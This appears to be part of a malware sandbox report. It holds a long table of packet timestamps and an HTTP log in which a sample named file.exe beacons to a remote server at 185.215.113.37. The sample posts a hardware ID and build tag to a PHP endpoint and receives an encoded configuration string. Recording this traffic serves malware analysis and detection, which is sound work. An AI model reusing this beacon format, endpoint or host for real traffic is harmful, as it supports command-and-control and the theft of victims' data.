Oct 20, 2024 08:40:20.422178030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422193050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422199965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422209024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422224045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422226906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422235966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422239065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422254086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422255039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422267914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422286034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422298908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422300100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422326088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422336102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422349930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422363997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422367096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422379017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422391891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422401905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422405958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422418118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422425032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422431946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422441959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422451019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422456026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422466993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422477961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422492027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422492027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422507048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422517061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422521114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422524929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422537088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422540903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422554016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422563076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422570944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422571898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422585964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422590017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422602892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422607899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422617912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422625065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422637939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422642946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422655106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422657967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422672987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422679901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422688961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422693014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422704935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422714949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422719955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422729015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422734976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422741890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422750950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422759056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422766924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422774076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422781944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422791958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422797918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422808886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422812939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422817945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422831059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422836065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422847986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422854900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422864914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422872066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422879934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422883987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422895908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422900915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422913074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.422914982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422935009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.422950029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.471306086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.476056099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821239948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821259022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821302891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821433067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821433067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821465015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821481943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821500063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821508884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821516991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821537018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821556091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821568012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821568966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821599007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821610928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821616888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821625948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821640968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821650982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821656942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821669102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821672916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821686029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821687937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821702957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.821705103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821719885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821737051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.821754932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822051048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822074890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822089911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822092056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822114944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822129011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822170973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822192907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822217941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822227001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822231054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822233915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822254896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822277069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822278023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822314024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822422028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822437048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822452068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822464943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822465897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822483063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822483063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822494984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822496891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822513103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822518110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822530031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822545052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822575092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822643042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822658062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822673082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822695017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822720051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822736025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822742939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822752953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822768927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822798014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822820902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822844028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822858095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822864056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822870970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822885990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822890043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822901964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822904110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822918892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822925091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822935104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.822954893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.822968960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823070049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823085070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823101044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823112011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823116064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823136091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823138952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823149920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823163033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823191881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823223114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823237896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823252916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823266029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823297977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823431015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823460102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823472977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823474884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823489904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823501110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823504925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823518991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823519945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823530912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823545933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823550940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823561907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823563099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823577881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823585987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823591948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823597908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823606968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823616982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823625088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823628902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823642969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823652029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823659897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823662996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823673964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823681116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823689938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823698997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823705912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823715925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823721886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823734045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823735952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823745966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823754072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823766947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823770046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823777914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823781967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823796988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:20.823798895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823817015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:20.823841095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:21.863641024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:21.863665104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:21.869191885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:21.869378090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:22.896742105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:22.896807909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:22.965694904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:22.970571995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:23.318485975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:23.318527937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:23.318561077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:23.318582058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:23.318597078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:23.318619013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:23.321151018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:23.326370955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:23.673610926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:23.673856974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:23.687679052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:23.692553997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.536755085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.536932945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.563087940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.569494963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.919892073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.919931889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.919950008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.919965982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.919984102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920017004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920027971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920043945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920075893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920082092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920097113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920104027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920114040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920125008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920128107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920142889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920149088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:24.920162916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920176983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.920197964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.922503948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:24.927331924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:25.772720098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:25.772808075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:29.174770117 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6516	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 08:40:00.886730909 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 08:40:02.035250902 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:02.056780100 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 34 36 42 37 36 34 41 43 31 33 33 33 32 37 34 33 38 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="hwid"E5146B764AC13332743865------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="build"doma------IIIEBGCBGIDHDGCAKJEB--
Oct 20, 2024 08:40:02.446389914 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 51 31 4d 57 52 69 5a 6d 59 35 4e 6d 55 31 4d 6a 59 32 59 54 46 69 59 6d 56 69 59 6a 55 78 59 7a 6c 6b 59 54 46 6c 4e 6d 56 6d 5a 57 49 79 4d 32 4d 34 5a 57 59 31 4e 44 45 79 5a 6a 59 77 4d 47 59 7a 4d 57 56 6a 4e 54 6c 69 4e 47 52 69 59 6a 4a 68 4d 6a 4d 31 4e 54 42 69 4d 7a 55 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDQ1MWRiZmY5NmU1MjY2YTFiYmViYjUxYzlkYTFlNmVmZWIyM2M4ZWY1NDEyZjYwMGYzMWVjNTliNGRiYjJhMjM1NTBiMzU0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
